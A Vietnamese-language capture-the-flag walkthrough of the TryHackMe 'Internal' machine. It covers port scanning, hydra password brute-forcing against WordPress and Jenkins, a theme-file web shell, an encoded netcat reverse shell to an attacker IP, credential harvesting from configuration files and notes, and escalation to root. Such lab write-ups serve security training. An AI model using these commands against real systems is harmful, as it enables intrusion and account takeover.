Icon

Internal

Penetration Testing Challenge.

November 4, 2025 August 6, 2025 Hard
Author Author Hung Nguyen Tuong

Initial Reconnaissance

Chúng ta thêm dòng sau vào file /etc/hosts để ánh xạ domain name.

10.201.18.35 internal.thm

Service Scanning

$ rustscan -a internal.thm -- -A

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 60 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzpZTvmUlaHPpKH8X2SHMndoS+GsVlbhABHJt4TN/nKUSYeFEHbNzutQnj+DrUEwNMauqaWCY7vNeYguQUXLx4LM5ukMEC8IuJo0rcuKNmlyYrgBlFws3q2956v8urY7/McCFf5IsItQxurCDyfyU/erO7fO02n2iT5k7Bw2UWf8FPvM9/jahisbkA9/FQKou3mbaSANb5nSrPc7p9FbqKs1vGpFopdUTI2dl4OQ3TkQWNXpvaFl0j1ilRynu5zLr6FetD5WWZXAuCNHNmcRo/aPdoX9JXaPKGCcVywqMM/Qy+gSiiIKvmavX6rYlnRFWEp25EifIPuHQ0s8hSXqx5
|   256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMFOI/P6nqicmk78vSNs4l+vk2+BQ0mBxB1KlJJPCYueaUExTH4Cxkqkpo/zJfZ77MHHDL5nnzTW+TO6e4mDMEw=
|   256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMlxubXGh//FE3OqdyitiEwfA2nNdCtdgLfDQxFHPyY0
80/tcp open  http    syn-ack ttl 60 Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15

Kết quả quét bằng Nmap cho thấy có 2 dịch vụ mở là SSH và HTTP, nhưng phiên bản của chúng dường như không có exploit nào khả dụng. Ngoài ra, hệ điều hành bên dưới là Linux, cụ thể là Ubuntu.

SSH 22

image.png

Dịch vụ SSH có bật password authentication, vì vậy chúng ta có thể cố gắng tìm plain-text password để thử xác thực.

HTTP 80

Trang chính của website chỉ hiển thị Apache default page, không có gì hữu ích.

image.png

Directory Enumeration

Bây giờ chúng ta thực hiện quét directory bằng gobuster.

gobuster dir -u http://internal.thm -w /usr/share/wordlists/dirb/common.txt -t 64 -x php,txt

image.png

Kết quả cho thấy website này được xây dựng bằng WordPress. Chúng ta tiếp tục quét directory trong thư mục /wordpress và hy vọng chúng ta sẽ tìm thấy một số file php của WordPress.

gobuster dir -u http://internal.thm/wordpress -w /usr/share/wordlists/dirb/common.txt -t 64 -x php,txt

image.png

/blog

image.png

/wordpress/login.php

image.png

/wordpress/wp-links-opml.php

image.png

Khi truy cập file wp-links-opml.php, chúng ta xác định được phiên bản WordPress là 5.4.2. Chúng ta có thể thử tìm kiếm các lỗ hổng và exploit đã biết cho phiên bản này, nhưng cũng không có gì đáng chú ý.

image.png

Chúng ta sẽ tiến hành enumerate WordPress bằng wpscan.

WordPress Scan

wpscan --url http://internal.thm/wordpress/ -e

image.png

Theme twentyseventeen đang bị outdated, nên chúng ta kiểm tra xem có lỗ hổng nào không, nhưng cũng không tìm thấy kết quả đáng chú ý.

image.png

image.png

Bên cạnh đó, chúng ta phát hiện ra user admin:

image.png

Vì trang login của WordPress thường không có cơ chế rate limiting, nên chúng ta sẽ intercept request login bằng Burp Suite rồi tạo command hydra để thực hiện dictionary attack với user admin.

hydra -l admin -P /usr/share/wordlists/rockyou.txt internal.thm http-post-form "/blog/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Finternal.thm%2Fwordpress%2Fwp-admin%2F&testcookie=1:incorrect" -V

image.png

Chúng ta đã tìm được password của adminmy2boys.

Dashboard Authentication as admin

image.png

Khi thử đăng nhập, các lựa chọn như Remind me later hay The email is correct đều đưa chúng ta quay lại form đăng nhập. Tuy nhiên, khi bấm Update, chúng ta được chuyển hướng tới trang settings và từ đó có thể truy cập vào Dashboard.

Tại đây, chúng ta có thể tham khảo HackTricks để tìm cách khai thác RCE trong WordPress Panel.

Giờ chúng ta sẽ upload một PHP web shell trước, thay vì dùng reverse shell payload ngay lập tức. Lý do là reverse shell đôi khi có thể không hoạt động và khá khó để xác định nguyên nhân, nên trước tiên dùng web shell sẽ giúp kiểm tra các vấn đề trước khi thiết lập kết nối reverse shell.

image.png

image.png

Tiếp theo chúng ta truy cập vào file PHP nằm tại thư mục của theme và thực thi command:

http://internal.thm/blog/wp-content/themes/twentyseventeen/archive.php?cmd=id

image.png

Shell as www-data

Sau khi xác nhận rằng chúng ta có thể thực thi arbitrary command thông qua web shell, bước tiếp theo là thiết lập một reverse shell kết nối với quyền user www-data.

http://internal.thm/blog/wp-content/themes/twentyseventeen/archive.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.17.21.52%204242%20%3E%2Ftmp%2Ff

image.png

Sudo Permissions

image.png

Chúng ta không có password nên không thể xem quyền sudo của www-data.

wp-config.php

Tiếp theo, chúng ta kiểm tra file wp-config.php trong thư mục /wordpress của website vì file này chứa database credentials.

www-data@internal:/$ cd /var/www/html
cd /var/www/html
www-data@internal:/var/www/html$ ls -la
ls -la
total 24
drwxr-xr-x 3 root   root     4096 Aug  3  2020 .
drwxr-xr-x 3 root   root     4096 Aug  3  2020 ..
-rw-r--r-- 1 root   root    10918 Aug  3  2020 index.html
drwxr-xr-x 5 nobody nogroup  4096 Aug  3  2020 wordpress
www-data@internal:/var/www/html$ cd wordpress
cd wordpress
www-data@internal:/var/www/html/wordpress$ ls -la
ls -la
total 220
drwxr-xr-x  5 nobody nogroup  4096 Aug  3  2020 .
drwxr-xr-x  3 root   root     4096 Aug  3  2020 ..
-rw-r--r--  1 nobody nogroup   405 Feb  6  2020 index.php
-rw-r--r--  1 nobody nogroup 19915 Feb 12  2020 license.txt
-rw-r--r--  1 nobody nogroup  7278 Jan 10  2020 readme.html
-rw-r--r--  1 nobody nogroup  6912 Feb  6  2020 wp-activate.php
drwxr-xr-x  9 nobody nogroup  4096 Jun 10  2020 wp-admin
-rw-r--r--  1 nobody nogroup   351 Feb  6  2020 wp-blog-header.php
-rw-r--r--  1 nobody nogroup  2332 Jun  2  2020 wp-comments-post.php
-rw-r--r--  1 root   root     2899 Aug  3  2020 wp-config-sample.php
-rw-r--r--  1 root   root     3109 Aug  3  2020 wp-config.php
drwxr-xr-x  4 nobody nogroup  4096 Jun 10  2020 wp-content
-rw-r--r--  1 nobody nogroup  3940 Feb  6  2020 wp-cron.php
drwxr-xr-x 21 nobody nogroup 12288 Jun 10  2020 wp-includes
-rw-r--r--  1 nobody nogroup  2496 Feb  6  2020 wp-links-opml.php
-rw-r--r--  1 nobody nogroup  3300 Feb  6  2020 wp-load.php
-rw-r--r--  1 nobody nogroup 47874 Feb 10  2020 wp-login.php
-rw-r--r--  1 nobody nogroup  8509 Apr 14  2020 wp-mail.php
-rw-r--r--  1 nobody nogroup 19396 Apr 10  2020 wp-settings.php
-rw-r--r--  1 nobody nogroup 31111 Feb  6  2020 wp-signup.php
-rw-r--r--  1 nobody nogroup  4755 Feb  6  2020 wp-trackback.php
-rw-r--r--  1 nobody nogroup  3133 Feb  6  2020 xmlrpc.php
www-data@internal:/var/www/html/wordpress$ cat wp-config.php
cat wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wordpress' );

/** MySQL database password */
define( 'DB_PASSWORD', 'wordpress123' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
...

The config contains a set of MySQL credentials, we can use it to authenticate:

www-data@internal:/var/www/html/wordpress$ mysql -u wordpress -p
mysql -u wordpress -p
Enter password: wordpress123

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 18
Server version: 5.7.31-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| wordpress          |
+--------------------+
2 rows in set (0.00 sec)

mysql> use wordpress
use wordpress
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.00 sec)

mysql> select * from wp_users;
select * from wp_users;
+----+------------+------------------------------------+---------------+--------------------+--------------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email         | user_url                 | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+--------------------+--------------------------+---------------------+---------------------+-------------+--------------+
|  1 | admin      | $P$BOFWK.UcwNR/tV/nZZvSA6j3bz/WIp/ | admin         | admin@internal.thm | http://192.168.1.45/blog | 2020-08-03 13:19:02 |                     |           0 | admin        |
+----+------------+------------------------------------+---------------+--------------------+--------------------------+---------------------+---------------------+-------------+--------------+
1 row in set (0.00 sec)

Sau khi xem qua database, không có gì hữu ích ngoài password của admin ta đã biết từ trước.

/etc/passwd

Tiếp tục, chúng ta kiểm tra file /etc/passwd để xem có những user nào khác trong hệ thống. Tại đây chúng ta thấy một user hợp lệ khác là aubreanna.

www-data@internal:/var/www/html/wordpress$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
aubreanna:x:1000:1000:aubreanna:/home/aubreanna:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

Password Discovery

Chúng ta sẽ thực hiện một vài enumeration thủ công trước khi dùng script:

www-data@internal:/var/www/html/wordpress/wp-content/themes/twentyseventeen$ cd /
/d /
www-data@internal:/$ ls -la
ls -la
total 1847400
drwxr-xr-x  24 root root       4096 Aug  3  2020 .
drwxr-xr-x  24 root root       4096 Aug  3  2020 ..
drwxr-xr-x   2 root root       4096 Aug  3  2020 bin
drwxr-xr-x   4 root root       4096 Aug  3  2020 boot
drwxr-xr-x   2 root root       4096 Aug  3  2020 cdrom
drwxr-xr-x  18 root root       3760 Aug  6 14:46 dev
drwxr-xr-x 102 root root       4096 Aug  3  2020 etc
drwxr-xr-x   3 root root       4096 Aug  3  2020 home
lrwxrwxrwx   1 root root         34 Aug  3  2020 initrd.img -> boot/initrd.img-4.15.0-112-generic
lrwxrwxrwx   1 root root         34 Aug  3  2020 initrd.img.old -> boot/initrd.img-4.15.0-112-generic
drwxr-xr-x  23 root root       4096 Aug  3  2020 lib
drwxr-xr-x   2 root root       4096 Aug  3  2020 lib64
drwx------   2 root root      16384 Aug  3  2020 lost+found
drwxr-xr-x   2 root root       4096 Feb  3  2020 media
drwxr-xr-x   2 root root       4096 Feb  3  2020 mnt
drwxr-xr-x   3 root root       4096 Aug  3  2020 opt
dr-xr-xr-x 121 root root          0 Aug  6 14:46 proc
drwx------   7 root root       4096 Aug  3  2020 root
drwxr-xr-x  30 root root       1000 Aug  6 14:49 run
drwxr-xr-x   2 root root      12288 Aug  3  2020 sbin
drwxr-xr-x   4 root root       4096 Aug  3  2020 snap
www-data@internal:/$ ls -la boot
ls -la boot
total 69024
drwxr-xr-x  4 root root     4096 Aug  3  2020 .
drwxr-xr-x 24 root root     4096 Aug  3  2020 ..
-rw-------  1 root root  4073582 Jul  9  2020 System.map-4.15.0-112-generic
-rw-r--r--  1 root root   217473 Jul  9  2020 config-4.15.0-112-generic
drwxr-xr-x  5 root root     4096 Aug  3  2020 grub
-rw-r--r--  1 root root 57972224 Aug  3  2020 initrd.img-4.15.0-112-generic
drwx------  2 root root    16384 Aug  3  2020 lost+found
-rw-------  1 root root  8380064 Jul  9  2020 vmlinuz-4.15.0-112-generic
www-data@internal:/$ ls -la home
ls -la home
total 12
drwxr-xr-x  3 root      root      4096 Aug  3  2020 .
drwxr-xr-x 24 root      root      4096 Aug  3  2020 ..
drwx------  7 aubreanna aubreanna 4096 Aug  3  2020 aubreanna

Chúng ta không có quyền truy cập home của aubreanna.

www-data@internal:/$ ls -la media
ls -la media
total 8
drwxr-xr-x  2 root root 4096 Feb  3  2020 .
drwxr-xr-x 24 root root 4096 Aug  3  2020 ..
www-data@internal:/$ ls -la mnt
ls -la mnt
total 8
drwxr-xr-x  2 root root 4096 Feb  3  2020 .
drwxr-xr-x 24 root root 4096 Aug  3  2020 ..Nothing interesting.
www-data@internal:/$ ls -la opt
ls -la opt
total 16
drwxr-xr-x  3 root root 4096 Aug  3  2020 .
drwxr-xr-x 24 root root 4096 Aug  3  2020 ..
drwx--x--x  4 root root 4096 Aug  3  2020 containerd
-rw-r--r--  1 root root  138 Aug  3  2020 wp-save.txt
www-data@internal:/$ cd opt; cat wp-save.txt
cd opt; cat wp-save.txt
Bill,

Aubreanna needed these credentials for something later.  Let her know you have them and where they are.

aubreanna:bubb13guM!@#123

Khá bất ngờ khi chúng ta tìm thấy password ở plain-text của user aubreanna trong thư mục /opt.

Shell as aubreanna

Chúng ta thử xác thực dịch vụ SSH bằng password này và truy cập vào hệ thống với user aubreanna.

image.png

user.txt

aubreanna@internal:~$ cd ~
aubreanna@internal:~$ ls -la
total 56
drwx------ 7 aubreanna aubreanna 4096 Aug  3  2020 .
drwxr-xr-x 3 root      root      4096 Aug  3  2020 ..
-rwx------ 1 aubreanna aubreanna    7 Aug  3  2020 .bash_history
-rwx------ 1 aubreanna aubreanna  220 Apr  4  2018 .bash_logout
-rwx------ 1 aubreanna aubreanna 3771 Apr  4  2018 .bashrc
drwx------ 2 aubreanna aubreanna 4096 Aug  3  2020 .cache
drwx------ 3 aubreanna aubreanna 4096 Aug  3  2020 .gnupg
drwx------ 3 aubreanna aubreanna 4096 Aug  3  2020 .local
-rwx------ 1 root      root       223 Aug  3  2020 .mysql_history
-rwx------ 1 aubreanna aubreanna  807 Apr  4  2018 .profile
drwx------ 2 aubreanna aubreanna 4096 Aug  3  2020 .ssh
-rwx------ 1 aubreanna aubreanna    0 Aug  3  2020 .sudo_as_admin_successful
-rwx------ 1 aubreanna aubreanna   55 Aug  3  2020 jenkins.txt
drwx------ 3 aubreanna aubreanna 4096 Aug  3  2020 snap
-rwx------ 1 aubreanna aubreanna   21 Aug  3  2020 user.txt
aubreanna@internal:~$ cat user.txt
THM{int3rna1_fl4g_1}

Sudo Permissions

Đăng nhập thành công, nhưng user aubreanna không có quyền chạy sudo.

aubreanna@internal:~$ sudo -l
[sudo] password for aubreanna:
Sorry, user aubreanna may not run sudo on internal.

Internal Jenkins Service

Tuy nhiên, trong thư mục home của aubreanna ngoài file user.txt còn có một file tên là jenkins.txt. Mở file này, chúng ta phát hiện rằng có một dịch vụ Jenkins đang chạy nội bộ trên port 8080.

aubreanna@internal:~$ cat jenkins.txt
Internal Jenkins service is running on 172.17.0.2:8080

Để chắc chắn, chúng ta sử dụng lệnh ssps để xác nhận port 8080 đang mở và có process Jenkins đang chạy.

image.png

image.png

Ta thử curl localhost:8080 và kết quả trả về đúng là dịch vụ này đang hoạt động.

image.png

Vì Jenkins chỉ mở cổng nội bộ, nên chúng ta không thể truy cập trực tiếp từ máy của mình. Để giải quyết, chúng ta dùng kỹ thuật “tunneling”, cụ thể là dùng SSH để forward port 8080 trên target về một port trên máy của mình, từ đó có thể truy cập Jenkins bằng chính máy chúng ta. Ở đây ta forward về port 4444:

image.png

image.png

Khi thử đăng nhập bằng default credentials admin:admin, kết quả không thành công, nhưng chúng ta xác nhận được user admin tồn tại. Và cơ chế rate limiting cũng không có ở đây, do đó chúng ta tiếp tục thực hiện dictionary attack giống như với WordPress.

image.png

hydra -l admin -P /usr/share/wordlists/rockyou.txt localhost -s 4444 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid" -V

image.png

Kết quả là chúng ta tìm ra password của user admin trong Jenkins là spongebob.

Shell as jenkins

Chúng ta xác thực thành công vào dịch vụ Jenkins bằng user admin. Tại đây, chúng ta có thể khai thác RCE thông qua Groovy Script như hướng dẫn trên HackTricks.

image.png

image.png

Chúng ta sẽ sử dụng payload sau:

image.png

image.png

Kết quả là chúng ta đã có reverse shell với quyền user jenkins.

Shell as root

Ta tiếp tục enumeration thủ công như trước bằng cách xem một số thư mục ngẫu nhiên:

jenkins@jenkins:/$ ls -la mnt
total 8
drwxr-xr-x 2 root root 4096 Jan 30  2020 .
drwxr-xr-x 1 root root 4096 Aug  3  2020 ..
jenkins@jenkins:/$ ls -la opt
total 12
drwxr-xr-x 1 root root 4096 Aug  3  2020 .
drwxr-xr-x 1 root root 4096 Aug  3  2020 ..
-rw-r--r-- 1 root root  204 Aug  3  2020 note.txt
jenkins@jenkins:/$ cd opt
jenkins@jenkins:/opt$ cat note.txt
Aubreanna,

Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you
need access to the root user account.

root:tr0ub13guM!@#123
jenkins@jenkins:/opt$ su root
Password:
su: Authentication failure

Lần này chúng ta phát hiện ra credentials thuộc về user root. Tuy nhiên, khi thử dùng su để chuyển sang root thì không thành công. Nhớ lại trước đó, chúng ta không thấy user jenkins trong file /etc/passwd. Điều này cho thấy reverse shell của chúng ta có thể không đến từ môi trường host chính, mà có khả năng đang chạy bên trong một docker container.

Để xác nhận, chúng ta có thể xem network interface khi đang là user jenkins, rồi so sánh với network interface khi đang là user aubreanna.

jenkins@jenkins:/opt$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

image.png

So sánh hai kết quả, chúng ta có thể kết luận chắc chắn rằng đây là một docker container bởi vì dải địa chỉ IP 172.17.0.0/16. Vì vậy, ta sẽ thử sử dụng credentials của root nhưng trong hệ thống host chính.

aubreanna@internal:/$ su root
Password:
root@internal:/# id
uid=0(root) gid=0(root) groups=0(root)

root.txt

root@internal:/# cd /root
root@internal:~# ls -la
total 48
drwx------  7 root root 4096 Aug  3  2020 .
drwxr-xr-x 24 root root 4096 Aug  3  2020 ..
-rw-------  1 root root  193 Aug  3  2020 .bash_history
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 Aug  3  2020 .cache
drwx------  3 root root 4096 Aug  3  2020 .gnupg
drwxr-xr-x  3 root root 4096 Aug  3  2020 .local
-rw-------  1 root root 1071 Aug  3  2020 .mysql_history
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4096 Aug  3  2020 .ssh
-rw-r--r--  1 root root   22 Aug  3  2020 root.txt
drwxr-xr-x  3 root root 4096 Aug  3  2020 snap
root@internal:~# cat root.txt
THM{d0ck3r_d3str0y3r}